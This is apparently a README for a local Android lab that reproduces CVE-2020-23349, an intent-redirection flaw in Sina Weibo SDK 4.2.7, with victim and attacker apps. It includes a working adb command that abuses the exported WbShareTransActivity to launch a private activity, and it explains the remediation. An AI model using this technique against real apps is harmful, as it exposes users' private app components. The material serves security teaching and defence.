
Educational Android lab for CVE-2020-23349 in Sina Weibo SDK 4.2.7
An educational project that reproduces the Intent Redirection vulnerability in Sina Weibo Android SDK 4.2.7 locally.
Use only on authorized test devices or emulators. Do not use it against real user apps.
victim: vulnerable app that includes the actual openDefault-4.2.7.aarattacker: attacker app that invokes the exported WbShareTransActivityvictim/.../PrivateActivity: reproduction target with android:exported="false"The vulnerable flow is as follows.
Attacker 앱
-> exported WbShareTransActivity
-> Intent Extra의 startActivity/gotoActivity
-> victim의 PrivateActivity 실행
Android SDK 36 and JDK 17 are required.
./gradlew clean assembleDebug
Generated files:
victim/build/outputs/apk/debug/victim-debug.apk
attacker/build/outputs/apk/debug/attacker-debug.apk
adb install -r victim/build/outputs/apk/debug/victim-debug.apk
adb install -r attacker/build/outputs/apk/debug/attacker-debug.apk
adb shell am start -n lab.cve202023349.attacker/.MainActivity
Launch private Activity button.EXPLOIT SUCCESS screen appears, the reproduction is successful.You can also reproduce it directly with ADB.
adb shell am start \
-n lab.cve202023349.victim/com.sina.weibo.sdk.share.WbShareTransActivity \
--es startActivity lab.cve202023349.victim.PrivateActivity \
--es gotoActivity lab.cve202023349.victim.PrivateActivity
SDK 4.2.7 trusts the startActivity and gotoActivity strings from an external Intent and uses them in the following form.
resultIntent.setClassName(this, startActivityName);
startActivity(resultIntent);
Since this is the Context of the Victim app, Android treats it as if the Victim app is executing its own private Activity.
In modern Android builds, android:exported must be explicitly specified, so this project explicitly sets true in victim/AndroidManifest.xml to reproduce the implicit exported state of the old SDK.
In exercises that do not require sharing functionality, change the following value to false and rebuild.
<activity
android:name="com.sina.weibo.sdk.share.WbShareTransActivity"
android:exported="false" />
Afterwards, performing the same attack will be blocked with a SecurityException. In real products, you should remove Weibo SDK 4.x and upgrade to the latest maintained version.
The included AAR is taken from the 4.2.7 commit of the official Sina Weibo public repository.
99daf8a (4.2.7)新文档/openDefault-4.2.7.aar